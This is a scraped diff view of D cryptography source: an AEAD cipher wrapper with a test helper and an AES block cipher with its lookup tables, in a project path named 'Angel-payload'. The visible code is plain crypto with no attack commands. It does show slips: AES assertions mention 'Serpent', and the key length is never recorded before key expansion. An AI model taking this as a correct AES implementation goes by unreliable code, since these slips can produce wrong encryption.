|
||||
/// Encrypt or decrypt a block of bytes.
|
||||
///
|
||||
/// Params:
|
||||
/// input = Input buffer.
|
||||
/// output = Output buffer.
|
||||
///
|
||||
/// Returns: A slice pointing to the output data.
|
||||
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow;
|
||||
|
||||
/// Close the AEAD cipher by producing the remaining output and a authentication tag.
|
||||
///
|
||||
/// Params:
|
||||
/// macBuf = Buffer for the MAC tag.
|
||||
/// output = Buffer for remaining output data.
|
||||
///
|
||||
/// Note: In decryption mode this does not verify the integrity of the data. Verification has to be done by the programmer!
|
||||
///
|
||||
size_t finish(ubyte[] macBuf, ubyte[] output);
|
||||
|
||||
/// Returns: Return the size of the output buffer required for a processBytes an input of len bytes.
|
||||
size_t getUpdateOutputSize(size_t len) nothrow const;
|
||||
|
||||
/// Returns: Return the size of the output buffer required for a processBytes plus a finish with an input of len bytes.
|
||||
size_t getOutputSize(size_t len) nothrow const;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// TODO AEAD cipher wrapper
|
||||
/// Wrapper class for AEAD ciphers
|
||||
@safe
|
||||
public class AEADCipherWrapper(T) if(isAEADCipher!T): IAEADEngine
|
||||
{
|
||||
|
||||
private T cipher;
|
||||
|
||||
public {
|
||||
|
||||
void start(in ubyte[] key, in ubyte[] iv) {
|
||||
cipher.start(key, iv);
|
||||
}
|
||||
|
||||
@property
|
||||
string name() pure nothrow {
|
||||
return cipher.name;
|
||||
}
|
||||
|
||||
void processAADBytes(in ubyte[] aad) nothrow {
|
||||
cipher.processAADBytes(aad);
|
||||
}
|
||||
|
||||
|
||||
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow {
|
||||
return cipher.processBytes(input, output);
|
||||
}
|
||||
|
||||
size_t finish(ubyte[] macBuf, ubyte[] output){
|
||||
return cipher.finish(macBuf, output);
|
||||
}
|
||||
|
||||
size_t getUpdateOutputSize(size_t len) nothrow const {
|
||||
return cipher.getUpdateOutputSize(len);
|
||||
}
|
||||
|
||||
size_t getOutputSize(size_t len) nothrow const {
|
||||
return cipher.getOutputSize(len);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
version(unittest) {
|
||||
|
||||
// unittest helper functions
|
||||
|
||||
|
||||
/// Runs decryption and encryption using AEADCipher cipher with given keys, plaintexts, and ciphertexts.
|
||||
///
|
||||
/// Params:
|
||||
/// hexKeys = the keys encoded in hex
|
||||
/// hexIVs = hex encoded nonces
|
||||
/// hexPlaintexts = the plaintexts encoded in hex
|
||||
/// hexAAD = additional authenticated data
|
||||
/// hexCiphertexts = the corresponding ciphertexts in hex
|
||||
/// macSize = MAC sizes in bits
|
||||
///
|
||||
/// Throws:
|
||||
/// AssertionError if encryption or decryption failed
|
||||
@safe
|
||||
public void AEADCipherTest(
|
||||
IAEADEngine cipher,
|
||||
in string[] keys,
|
||||
in string[] ivs,
|
||||
in string[] plaintexts,
|
||||
in string[] aads,
|
||||
in string[] ciphertexts,
|
||||
in uint[] macSize
|
||||
) {
|
||||
|
||||
import dcrypt.aead.aead;
|
||||
import std.format: format;
|
||||
|
||||
alias const (ubyte)[] octets;
|
||||
|
||||
foreach (uint i, string test_key; keys)
|
||||
{
|
||||
octets plain = cast(octets) plaintexts[i];
|
||||
octets aad = cast(octets) aads[i];
|
||||
octets ciphertext = cast(octets) ciphertexts[i];
|
||||
|
||||
ubyte[] output = new ubyte[plain.length];
|
||||
|
||||
// set to encryption mode
|
||||
cipher.start(true, cast(octets) test_key, cast(octets) ivs[i]);
|
||||
|
||||
output.length = cipher.getOutputSize(plain.length);
|
||||
|
||||
immutable size_t taglen = macSize[i]/8;
|
||||
octets expectedMac = ciphertext[$-taglen..$];
|
||||
ciphertext = ciphertext[0..$-taglen];
|
||||
|
||||
// assert(cipher.getUpdateOutputSize(plain.length) == plain.length);
|
||||
assert(output.length >= cipher.getUpdateOutputSize(plain.length));
|
||||
|
||||
|
||||
assert(output.length >= cipher.getUpdateOutputSize(plain.length));
|
||||
|
||||
// test encryption
|
||||
cipher.processAADBytes(aad);
|
||||
ubyte[] out_slice = cipher.processBytes(plain, output);
|
||||
|
||||
ubyte[16] mac;
|
||||
size_t len = out_slice.length+cipher.finish(mac, output[out_slice.length..$]);
|
||||
|
||||
assert(output == ciphertext,
|
||||
format("%s encrypt: %(%.2x%) != %(%.2x%)", cipher.name, output, ciphertexts[i]));
|
||||
|
||||
assert(mac[0..taglen] == expectedMac);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
549
full/Angel-payload/angel/utils/cryptography/aes.d
Normal file
@@ -0,0 +1,549 @@
|
||||
module angel.utils.cryptography.aes;
|
||||
|
||||
import angel.utils.cryptography.blockcipher;
|
||||
import angel.utils.cryptography.exceptions;
|
||||
import angel.utils.cryptography.bitmanip;
|
||||
|
||||
/// Test AES encryption and decryption of a single block with 128, 192 and 256 bits key length.
|
||||
/// test vectors from http://www.inconteam.com/software-development/41-encryption/55-aes-test-vectors
|
||||
@safe
|
||||
unittest {
|
||||
|
||||
static string[] test_keys = [
|
||||
x"2b7e151628aed2a6abf7158809cf4f3c",
|
||||
x"8e73b0f7da0e6452c810f32b809079e562f8ead2522c6b7b",
|
||||
x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4",
|
||||
x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4"
|
||||
];
|
||||
|
||||
static string[] test_plaintexts = [
|
||||
x"6bc1bee22e409f96e93d7e117393172a",
|
||||
x"6bc1bee22e409f96e93d7e117393172a",
|
||||
x"6bc1bee22e409f96e93d7e117393172a",
|
||||
x"ae2d8a571e03ac9c9eb76fac45af8e51"
|
||||
];
|
||||
|
||||
static string[] test_ciphertexts = [
|
||||
x"3ad77bb40d7a3660a89ecaf32466ef97",
|
||||
x"bd334f1d6e45f25ff712a214571fa5cc",
|
||||
x"f3eed1bdb5d2a03c064b5a7e3db181f8",
|
||||
x"591ccb10d410ed26dc5ba74a31362870"
|
||||
|
||||
];
|
||||
|
||||
AESEngine t = new AESEngine();
|
||||
|
||||
blockCipherTest(t, test_keys, test_plaintexts, test_ciphertexts);
|
||||
|
||||
}
|
||||
|
||||
static assert(isBlockCipher!AES, "AES is not a block cipher!");
|
||||
|
||||
/// OOP API wrapper for AES
|
||||
alias BlockCipherWrapper!AES AESEngine;
|
||||
|
||||
@safe
|
||||
public struct AES
|
||||
{
|
||||
|
||||
public enum name = "AES";
|
||||
public enum blockSize = 16;
|
||||
private static immutable size_t maxKeyLength = 32;
|
||||
private ubyte[maxKeyLength] userKey;
|
||||
private size_t keyLength;
|
||||
|
||||
public {
|
||||
|
||||
/// Params:
|
||||
/// forEncryption = `false`: decrypt, `true`: encrypt
|
||||
/// userKey = Secret key.
|
||||
/// iv = Not used.
|
||||
void start(in ubyte[] key, in ubyte[] iv = null) nothrow @nogc
|
||||
{
|
||||
size_t len = key.length;
|
||||
assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)");
|
||||
|
||||
userKey[0 .. len] = key[0 .. len];
|
||||
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
public uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
|
||||
in {
|
||||
assert(initialized, "Serpent engine not initialized");
|
||||
assert(blockSize<=input.length, "input buffer too short");
|
||||
assert(blockSize<=output.length, "output buffer too short");
|
||||
}
|
||||
body {
|
||||
state = 1;
|
||||
generateWorkingKey(userKey);
|
||||
|
||||
unpackBlock(input);
|
||||
encryptBlock();
|
||||
packBlock(output);
|
||||
|
||||
return blockSize;
|
||||
}
|
||||
|
||||
public uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
|
||||
in {
|
||||
assert(initialized, "Serpent engine not initialized");
|
||||
assert(blockSize<=input.length, "input buffer too short");
|
||||
assert(blockSize<=output.length, "output buffer too short");
|
||||
}
|
||||
body {
|
||||
state = 0;
|
||||
generateWorkingKey(userKey);
|
||||
|
||||
unpackBlock(input);
|
||||
decryptBlock();
|
||||
packBlock(output);
|
||||
|
||||
return blockSize;
|
||||
}
|
||||
|
||||
void reset() nothrow @nogc
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// begin of private section
|
||||
private:
|
||||
|
||||
// @safe @nogc nothrow
|
||||
// ~this() {
|
||||
// import dcrypt.util: wipe;
|
||||
//
|
||||
// wipe(workingKey);
|
||||
// wipe(C0, C1, C2, C3);
|
||||
// }
|
||||
|
||||
enum MAXROUNDS = 14;
|
||||
|
||||
uint ROUNDS; // Number of rounds depends on keysize
|
||||
uint C0, C1, C2, C3; // State
|
||||
|
||||
uint[4][MAXROUNDS+1] workingKey;
|
||||
|
||||
bool state; // 1 encrypt, 0 decrypt
|
||||
bool initialized;
|
||||
// const ubyte[] userKey = kii;
|
||||
|
||||
// Sbox and its inverse
|
||||
static immutable ubyte[256] S = [
|
||||
0x63u, 0x7cu, 0x77u, 0x7bu, 0xf2u, 0x6bu, 0x6fu, 0xc5u,
|
||||
0x30u, 0x01u, 0x67u, 0x2bu, 0xfeu, 0xd7u, 0xabu, 0x76u,
|
||||
0xcau, 0x82u, 0xc9u, 0x7du, 0xfau, 0x59u, 0x47u, 0xf0u,
|
||||
0xadu, 0xd4u, 0xa2u, 0xafu, 0x9cu, 0xa4u, 0x72u, 0xc0u,
|
||||
0xb7u, 0xfdu, 0x93u, 0x26u, 0x36u, 0x3fu, 0xf7u, 0xccu,
|
||||
0x34u, 0xa5u, 0xe5u, 0xf1u, 0x71u, 0xd8u, 0x31u, 0x15u,
|
||||
0x04u, 0xc7u, 0x23u, 0xc3u, 0x18u, 0x96u, 0x05u, 0x9au,
|
||||
0x07u, 0x12u, 0x80u, 0xe2u, 0xebu, 0x27u, 0xb2u, 0x75u,
|
||||
0x09u, 0x83u, 0x2cu, 0x1au, 0x1bu, 0x6eu, 0x5au, 0xa0u,
|
||||
0x52u, 0x3bu, 0xd6u, 0xb3u, 0x29u, 0xe3u, 0x2fu, 0x84u,
|
||||
0x53u, 0xd1u, 0x00u, 0xedu, 0x20u, 0xfcu, 0xb1u, 0x5bu,
|
||||
0x6au, 0xcbu, 0xbeu, 0x39u, 0x4au, 0x4cu, 0x58u, 0xcfu,
|
||||
0xd0u, 0xefu, 0xaau, 0xfbu, 0x43u, 0x4du, 0x33u, 0x85u,
|
||||
0x45u, 0xf9u, 0x02u, 0x7fu, 0x50u, 0x3cu, 0x9fu, 0xa8u,
|
||||
0x51u, 0xa3u, 0x40u, 0x8fu, 0x92u, 0x9du, 0x38u, 0xf5u,
|
||||
0xbcu, 0xb6u, 0xdau, 0x21u, 0x10u, 0xffu, 0xf3u, 0xd2u,
|
||||
0xcdu, 0x0cu, 0x13u, 0xecu, 0x5fu, 0x97u, 0x44u, 0x17u,
|
||||
0xc4u, 0xa7u, 0x7eu, 0x3du, 0x64u, 0x5du, 0x19u, 0x73u,
|
||||
0x60u, 0x81u, 0x4fu, 0xdcu, 0x22u, 0x2au, 0x90u, 0x88u,
|
||||
0x46u, 0xeeu, 0xb8u, 0x14u, 0xdeu, 0x5eu, 0x0bu, 0xdbu,
|
||||
0xe0u, 0x32u, 0x3au, 0x0au, 0x49u, 0x06u, 0x24u, 0x5cu,
|
||||
0xc2u, 0xd3u, 0xacu, 0x62u, 0x91u, 0x95u, 0xe4u, 0x79u,
|
||||
0xe7u, 0xc8u, 0x37u, 0x6du, 0x8du, 0xd5u, 0x4eu, 0xa9u,
|
||||
0x6cu, 0x56u, 0xf4u, 0xeau, 0x65u, 0x7au, 0xaeu, 0x08u,
|
||||
0xbau, 0x78u, 0x25u, 0x2eu, 0x1cu, 0xa6u, 0xb4u, 0xc6u,
|
||||
0xe8u, 0xddu, 0x74u, 0x1fu, 0x4bu, 0xbdu, 0x8bu, 0x8au,
|
||||
0x70u, 0x3eu, 0xb5u, 0x66u, 0x48u, 0x03u, 0xf6u, 0x0eu,
|
||||
0x61u, 0x35u, 0x57u, 0xb9u, 0x86u, 0xc1u, 0x1du, 0x9eu,
|
||||
0xe1u, 0xf8u, 0x98u, 0x11u, 0x69u, 0xd9u, 0x8eu, 0x94u,
|
||||
0x9bu, 0x1eu, 0x87u, 0xe9u, 0xceu, 0x55u, 0x28u, 0xdfu,
|
||||
0x8cu, 0xa1u, 0x89u, 0x0du, 0xbfu, 0xe6u, 0x42u, 0x68u,
|
||||
0x41u, 0x99u, 0x2du, 0x0fu, 0xb0u, 0x54u, 0xbbu, 0x16u
|
||||
];
|
||||
|
||||
static immutable ubyte[256] Si = [
|
||||
0x52u, 0x09u, 0x6au, 0xd5u, 0x30u, 0x36u, 0xa5u, 0x38u,
|
||||
0xbfu, 0x40u, 0xa3u, 0x9eu, 0x81u, 0xf3u, 0xd7u, 0xfbu,
|
||||
0x7cu, 0xe3u, 0x39u, 0x82u, 0x9bu, 0x2fu, 0xffu, 0x87u,
|
||||
0x34u, 0x8eu, 0x43u, 0x44u, 0xc4u, 0xdeu, 0xe9u, 0xcbu,
|
||||
0x54u, 0x7bu, 0x94u, 0x32u, 0xa6u, 0xc2u, 0x23u, 0x3du,
|
||||
0xeeu, 0x4cu, 0x95u, 0x0bu, 0x42u, 0xfau, 0xc3u, 0x4eu,
|
||||
0x08u, 0x2eu, 0xa1u, 0x66u, 0x28u, 0xd9u, 0x24u, 0xb2u,
|
||||
0x76u, 0x5bu, 0xa2u, 0x49u, 0x6du, 0x8bu, 0xd1u, 0x25u,
|
||||
0x72u, 0xf8u, 0xf6u, 0x64u, 0x86u, 0x68u, 0x98u, 0x16u,
|
||||
0xd4u, 0xa4u, 0x5cu, 0xccu, 0x5du, 0x65u, 0xb6u, 0x92u,
|
||||
0x6cu, 0x70u, 0x48u, 0x50u, 0xfdu, 0xedu, 0xb9u, 0xdau,
|
||||
0x5eu, 0x15u, 0x46u, 0x57u, 0xa7u, 0x8du, 0x9du, 0x84u,
|
||||
0x90u, 0xd8u, 0xabu, 0x00u, 0x8cu, 0xbcu, 0xd3u, 0x0au,
|
||||
0xf7u, 0xe4u, 0x58u, 0x05u, 0xb8u, 0xb3u, 0x45u, 0x06u,
|
||||
0xd0u, 0x2cu, 0x1eu, 0x8fu, 0xcau, 0x3fu, 0x0fu, 0x02u,
|
||||
0xc1u, 0xafu, 0xbdu, 0x03u, 0x01u, 0x13u, 0x8au, 0x6bu,
|
||||
0x3au, 0x91u, 0x11u, 0x41u, 0x4fu, 0x67u, 0xdcu, 0xeau,
|
||||
0x97u, 0xf2u, 0xcfu, 0xceu, 0xf0u, 0xb4u, 0xe6u, 0x73u,
|
||||
0x96u, 0xacu, 0x74u, 0x22u, 0xe7u, 0xadu, 0x35u, 0x85u,
|
||||
0xe2u, 0xf9u, 0x37u, 0xe8u, 0x1cu, 0x75u, 0xdfu, 0x6eu,
|
||||
0x47u, 0xf1u, 0x1au, 0x71u, 0x1du, 0x29u, 0xc5u, 0x89u,
|
||||
0x6fu, 0xb7u, 0x62u, 0x0eu, 0xaau, 0x18u, 0xbeu, 0x1bu,
|
||||
0xfcu, 0x56u, 0x3eu, 0x4bu, 0xc6u, 0xd2u, 0x79u, 0x20u,
|
||||
0x9au, 0xdbu, 0xc0u, 0xfeu, 0x78u, 0xcdu, 0x5au, 0xf4u,
|
||||
0x1fu, 0xddu, 0xa8u, 0x33u, 0x88u, 0x07u, 0xc7u, 0x31u,
|
||||
0xb1u, 0x12u, 0x10u, 0x59u, 0x27u, 0x80u, 0xecu, 0x5fu,
|
||||
0x60u, 0x51u, 0x7fu, 0xa9u, 0x19u, 0xb5u, 0x4au, 0x0du,
|
||||
0x2du, 0xe5u, 0x7au, 0x9fu, 0x93u, 0xc9u, 0x9cu, 0xefu,
|
||||
0xa0u, 0xe0u, 0x3bu, 0x4du, 0xaeu, 0x2au, 0xf5u, 0xb0u,
|
||||
0xc8u, 0xebu, 0xbbu, 0x3cu, 0x83u, 0x53u, 0x99u, 0x61u,
|
||||
0x17u, 0x2bu, 0x04u, 0x7eu, 0xbau, 0x77u, 0xd6u, 0x26u,
|
||||
0xe1u, 0x69u, 0x14u, 0x63u, 0x55u, 0x21u, 0x0cu, 0x7du
|
||||
];
|
||||
|
||||
// Round constants
|
||||
static immutable uint[30] rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
|
||||
0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91
|
||||
];
|
||||
|
||||
// precomputation tables of calculations for rounds
|
||||
static immutable uint[256] T0 =
|
||||
[
|
||||
0xa56363c6u, 0x847c7cf8u, 0x997777eeu, 0x8d7b7bf6u, 0x0df2f2ffu,
|
||||
0xbd6b6bd6u, 0xb16f6fdeu, 0x54c5c591u, 0x50303060u, 0x03010102u,
|
||||
0xa96767ceu, 0x7d2b2b56u, 0x19fefee7u, 0x62d7d7b5u, 0xe6abab4du,
|
||||
0x9a7676ecu, 0x45caca8fu, 0x9d82821fu, 0x40c9c989u, 0x877d7dfau,
|
||||
0x15fafaefu, 0xeb5959b2u, 0xc947478eu, 0x0bf0f0fbu, 0xecadad41u,
|
||||
0x67d4d4b3u, 0xfda2a25fu, 0xeaafaf45u, 0xbf9c9c23u, 0xf7a4a453u,
|
||||
0x967272e4u, 0x5bc0c09bu, 0xc2b7b775u, 0x1cfdfde1u, 0xae93933du,
|
||||
0x6a26264cu, 0x5a36366cu, 0x413f3f7eu, 0x02f7f7f5u, 0x4fcccc83u,
|
||||
0x5c343468u, 0xf4a5a551u, 0x34e5e5d1u, 0x08f1f1f9u, 0x937171e2u,
|
||||
0x73d8d8abu, 0x53313162u, 0x3f15152au, 0x0c040408u, 0x52c7c795u,
|
||||
0x65232346u, 0x5ec3c39du, 0x28181830u, 0xa1969637u, 0x0f05050au,
|
||||
0xb59a9a2fu, 0x0907070eu, 0x36121224u, 0x9b80801bu, 0x3de2e2dfu,
|
||||
0x26ebebcdu, 0x6927274eu, 0xcdb2b27fu, 0x9f7575eau, 0x1b090912u,
|
||||
0x9e83831du, 0x742c2c58u, 0x2e1a1a34u, 0x2d1b1b36u, 0xb26e6edcu,
|
||||
0xee5a5ab4u, 0xfba0a05bu, 0xf65252a4u, 0x4d3b3b76u, 0x61d6d6b7u,
|
||||
0xceb3b37du, 0x7b292952u, 0x3ee3e3ddu, 0x712f2f5eu, 0x97848413u,
|
||||
0xf55353a6u, 0x68d1d1b9u, 0x00000000u, 0x2cededc1u, 0x60202040u,
|
||||
0x1ffcfce3u, 0xc8b1b179u, 0xed5b5bb6u, 0xbe6a6ad4u, 0x46cbcb8du,
|
||||
0xd9bebe67u, 0x4b393972u, 0xde4a4a94u, 0xd44c4c98u, 0xe85858b0u,
|
||||
0x4acfcf85u, 0x6bd0d0bbu, 0x2aefefc5u, 0xe5aaaa4fu, 0x16fbfbedu,
|
||||
0xc5434386u, 0xd74d4d9au, 0x55333366u, 0x94858511u, 0xcf45458au,
|
||||
0x10f9f9e9u, 0x06020204u, 0x817f7ffeu, 0xf05050a0u, 0x443c3c78u,
|
||||
0xba9f9f25u, 0xe3a8a84bu, 0xf35151a2u, 0xfea3a35du, 0xc0404080u,
|
||||
0x8a8f8f05u, 0xad92923fu, 0xbc9d9d21u, 0x48383870u, 0x04f5f5f1u,
|
||||
0xdfbcbc63u, 0xc1b6b677u, 0x75dadaafu, 0x63212142u, 0x30101020u,
|
||||
0x1affffe5u, 0x0ef3f3fdu, 0x6dd2d2bfu, 0x4ccdcd81u, 0x140c0c18u,
|
||||
0x35131326u, 0x2fececc3u, 0xe15f5fbeu, 0xa2979735u, 0xcc444488u,
|
||||
0x3917172eu, 0x57c4c493u, 0xf2a7a755u, 0x827e7efcu, 0x473d3d7au,
|
||||
0xac6464c8u, 0xe75d5dbau, 0x2b191932u, 0x957373e6u, 0xa06060c0u,
|
||||
0x98818119u, 0xd14f4f9eu, 0x7fdcdca3u, 0x66222244u, 0x7e2a2a54u,
|
||||
0xab90903bu, 0x8388880bu, 0xca46468cu, 0x29eeeec7u, 0xd3b8b86bu,
|
||||
0x3c141428u, 0x79dedea7u, 0xe25e5ebcu, 0x1d0b0b16u, 0x76dbdbadu,
|
||||
0x3be0e0dbu, 0x56323264u, 0x4e3a3a74u, 0x1e0a0a14u, 0xdb494992u,
|
||||
0x0a06060cu, 0x6c242448u, 0xe45c5cb8u, 0x5dc2c29fu, 0x6ed3d3bdu,
|
||||
0xefacac43u, 0xa66262c4u, 0xa8919139u, 0xa4959531u, 0x37e4e4d3u,
|
||||
0x8b7979f2u, 0x32e7e7d5u, 0x43c8c88bu, 0x5937376eu, 0xb76d6ddau,
|
||||
0x8c8d8d01u, 0x64d5d5b1u, 0xd24e4e9cu, 0xe0a9a949u, 0xb46c6cd8u,
|
||||
0xfa5656acu, 0x07f4f4f3u, 0x25eaeacfu, 0xaf6565cau, 0x8e7a7af4u,
|
||||
0xe9aeae47u, 0x18080810u, 0xd5baba6fu, 0x887878f0u, 0x6f25254au,
|
||||
0x722e2e5cu, 0x241c1c38u, 0xf1a6a657u, 0xc7b4b473u, 0x51c6c697u,
|
||||
0x23e8e8cbu, 0x7cdddda1u, 0x9c7474e8u, 0x211f1f3eu, 0xdd4b4b96u,
|
||||
0xdcbdbd61u, 0x868b8b0du, 0x858a8a0fu, 0x907070e0u, 0x423e3e7cu,
|
||||
0xc4b5b571u, 0xaa6666ccu, 0xd8484890u, 0x05030306u, 0x01f6f6f7u,
|
||||
0x120e0e1cu, 0xa36161c2u, 0x5f35356au, 0xf95757aeu, 0xd0b9b969u,
|
||||
0x91868617u, 0x58c1c199u, 0x271d1d3au, 0xb99e9e27u, 0x38e1e1d9u,
|
||||
0x13f8f8ebu, 0xb398982bu, 0x33111122u, 0xbb6969d2u, 0x70d9d9a9u,
|
||||
0x898e8e07u, 0xa7949433u, 0xb69b9b2du, 0x221e1e3cu, 0x92878715u,
|
||||
0x20e9e9c9u, 0x49cece87u, 0xff5555aau, 0x78282850u, 0x7adfdfa5u,
|
||||
0x8f8c8c03u, 0xf8a1a159u, 0x80898909u, 0x170d0d1au, 0xdabfbf65u,
|
||||
0x31e6e6d7u, 0xc6424284u, 0xb86868d0u, 0xc3414182u, 0xb0999929u,
|
||||
0x772d2d5au, 0x110f0f1eu, 0xcbb0b07bu, 0xfc5454a8u, 0xd6bbbb6du,
|
||||
0x3a16162cu];
|
||||
|
||||
static immutable uint[256] Tinv0 =
|
||||
[
|
||||
0x50a7f451u, 0x5365417eu, 0xc3a4171au, 0x965e273au, 0xcb6bab3bu,
|
||||
0xf1459d1fu, 0xab58faacu, 0x9303e34bu, 0x55fa3020u, 0xf66d76adu,
|
||||
0x9176cc88u, 0x254c02f5u, 0xfcd7e54fu, 0xd7cb2ac5u, 0x80443526u,
|
||||
0x8fa362b5u, 0x495ab1deu, 0x671bba25u, 0x980eea45u, 0xe1c0fe5du,
|
||||
0x02752fc3u, 0x12f04c81u, 0xa397468du, 0xc6f9d36bu, 0xe75f8f03u,
|
||||
0x959c9215u, 0xeb7a6dbfu, 0xda595295u, 0x2d83bed4u, 0xd3217458u,
|
||||
0x2969e049u, 0x44c8c98eu, 0x6a89c275u, 0x78798ef4u, 0x6b3e5899u,
|
||||
0xdd71b927u, 0xb64fe1beu, 0x17ad88f0u, 0x66ac20c9u, 0xb43ace7du,
|
||||
0x184adf63u, 0x82311ae5u, 0x60335197u, 0x457f5362u, 0xe07764b1u,
|
||||
0x84ae6bbbu, 0x1ca081feu, 0x942b08f9u, 0x58684870u, 0x19fd458fu,
|
||||
0x876cde94u, 0xb7f87b52u, 0x23d373abu, 0xe2024b72u, 0x578f1fe3u,
|
||||
0x2aab5566u, 0x0728ebb2u, 0x03c2b52fu, 0x9a7bc586u, 0xa50837d3u,
|
||||
0xf2872830u, 0xb2a5bf23u, 0xba6a0302u, 0x5c8216edu, 0x2b1ccf8au,
|
||||
0x92b479a7u, 0xf0f207f3u, 0xa1e2694eu, 0xcdf4da65u, 0xd5be0506u,
|
||||
0x1f6234d1u, 0x8afea6c4u, 0x9d532e34u, 0xa055f3a2u, 0x32e18a05u,
|
||||
0x75ebf6a4u, 0x39ec830bu, 0xaaef6040u, 0x069f715eu, 0x51106ebdu,
|
||||
0xf98a213eu, 0x3d06dd96u, 0xae053eddu, 0x46bde64du, 0xb58d5491u,
|
||||
0x055dc471u, 0x6fd40604u, 0xff155060u, 0x24fb9819u, 0x97e9bdd6u,
|
||||
0xcc434089u, 0x779ed967u, 0xbd42e8b0u, 0x888b8907u, 0x385b19e7u,
|
||||
0xdbeec879u, 0x470a7ca1u, 0xe90f427cu, 0xc91e84f8u, 0x00000000u,
|
||||
0x83868009u, 0x48ed2b32u, 0xac70111eu, 0x4e725a6cu, 0xfbff0efdu,
|
||||
0x5638850fu, 0x1ed5ae3du, 0x27392d36u, 0x64d90f0au, 0x21a65c68u,
|
||||
0xd1545b9bu, 0x3a2e3624u, 0xb1670a0cu, 0x0fe75793u, 0xd296eeb4u,
|
||||
0x9e919b1bu, 0x4fc5c080u, 0xa220dc61u, 0x694b775au, 0x161a121cu,
|
||||
0x0aba93e2u, 0xe52aa0c0u, 0x43e0223cu, 0x1d171b12u, 0x0b0d090eu,
|
||||
0xadc78bf2u, 0xb9a8b62du, 0xc8a91e14u, 0x8519f157u, 0x4c0775afu,
|
||||
0xbbdd99eeu, 0xfd607fa3u, 0x9f2601f7u, 0xbcf5725cu, 0xc53b6644u,
|
||||
0x347efb5bu, 0x7629438bu, 0xdcc623cbu, 0x68fcedb6u, 0x63f1e4b8u,
|
||||
0xcadc31d7u, 0x10856342u, 0x40229713u, 0x2011c684u, 0x7d244a85u,
|
||||
0xf83dbbd2u, 0x1132f9aeu, 0x6da129c7u, 0x4b2f9e1du, 0xf330b2dcu,
|
||||
0xec52860du, 0xd0e3c177u, 0x6c16b32bu, 0x99b970a9u, 0xfa489411u,
|
||||
0x2264e947u, 0xc48cfca8u, 0x1a3ff0a0u, 0xd82c7d56u, 0xef903322u,
|
||||
0xc74e4987u, 0xc1d138d9u, 0xfea2ca8cu, 0x360bd498u, 0xcf81f5a6u,
|
||||
0x28de7aa5u, 0x268eb7dau, 0xa4bfad3fu, 0xe49d3a2cu, 0x0d927850u,
|
||||
0x9bcc5f6au, 0x62467e54u, 0xc2138df6u, 0xe8b8d890u, 0x5ef7392eu,
|
||||
0xf5afc382u, 0xbe805d9fu, 0x7c93d069u, 0xa92dd56fu, 0xb31225cfu,
|
||||
0x3b99acc8u, 0xa77d1810u, 0x6e639ce8u, 0x7bbb3bdbu, 0x097826cdu,
|
||||
0xf418596eu, 0x01b79aecu, 0xa89a4f83u, 0x656e95e6u, 0x7ee6ffaau,
|
||||
0x08cfbc21u, 0xe6e815efu, 0xd99be7bau, 0xce366f4au, 0xd4099feau,
|
||||
0xd67cb029u, 0xafb2a431u, 0x31233f2au, 0x3094a5c6u, 0xc066a235u,
|
||||
0x37bc4e74u, 0xa6ca82fcu, 0xb0d090e0u, 0x15d8a733u, 0x4a9804f1u,
|
||||
0xf7daec41u, 0x0e50cd7fu, 0x2ff69117u, 0x8dd64d76u, 0x4db0ef43u,
|
||||
0x544daaccu, 0xdf0496e4u, 0xe3b5d19eu, 0x1b886a4cu, 0xb81f2cc1u,
|
||||
0x7f516546u, 0x04ea5e9du, 0x5d358c01u, 0x737487fau, 0x2e410bfbu,
|
||||
0x5a1d67b3u, 0x52d2db92u, 0x335610e9u, 0x1347d66du, 0x8c61d79au,
|
||||
0x7a0ca137u, 0x8e14f859u, 0x893c13ebu, 0xee27a9ceu, 0x35c961b7u,
|
||||
0xede51ce1u, 0x3cb1477au, 0x59dfd29cu, 0x3f73f255u, 0x79ce1418u,
|
||||
0xbf37c773u, 0xeacdf753u, 0x5baafd5fu, 0x146f3ddfu, 0x86db4478u,
|
||||
0x81f3afcau, 0x3ec468b9u, 0x2c342438u, 0x5f40a3c2u, 0x72c31d16u,
|
||||
0x0c25e2bcu, 0x8b493c28u, 0x41950dffu, 0x7101a839u, 0xdeb30c08u,
|
||||
0x9ce4b4d8u, 0x90c15664u, 0x6184cb7bu, 0x70b632d5u, 0x745c6c48u,
|
||||
0x4257b8d0u];
|
||||
|
||||
private enum uint m1 = 0x80808080, m2 = 0x7f7f7f7f, m3 = 0x0000001b;;
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private static uint FFmulX(uint x) nothrow
|
||||
{
|
||||
return (((x & m2) << 1) ^ (((x & m1) >>> 7) * m3));
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private static uint inv_mcol(uint x) nothrow
|
||||
{
|
||||
uint f2 = FFmulX(x);
|
||||
uint f4 = FFmulX(f2);
|
||||
uint f8 = FFmulX(f4);
|
||||
uint f9 = x ^ f8;
|
||||
|
||||
return f2 ^ f4 ^ f8 ^ rotateRight(f2 ^ f9, 8) ^ rotateRight(f4 ^ f9, 16) ^ rotateRight(f9, 24);
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private static uint subWord(uint x) nothrow
|
||||
{
|
||||
return (S[x&255] | ((S[(x>>8)&255])<<8) | ((S[(x>>16)&255])<<16) | S[(x>>24)&255]<<24);
|
||||
}
|
||||
|
||||
/**
|
||||
* Calculate the necessary round keys
|
||||
* The number of calculations depends on key size and block size
|
||||
* AES specified a fixed block size of 128 bits and key sizes 128/192/256 bits
|
||||
* This code is written assuming those are the only possible values
|
||||
*/
|
||||
private void generateWorkingKey(in ubyte[] key) nothrow @nogc
|
||||
in {
|
||||
size_t len = key.length;
|
||||
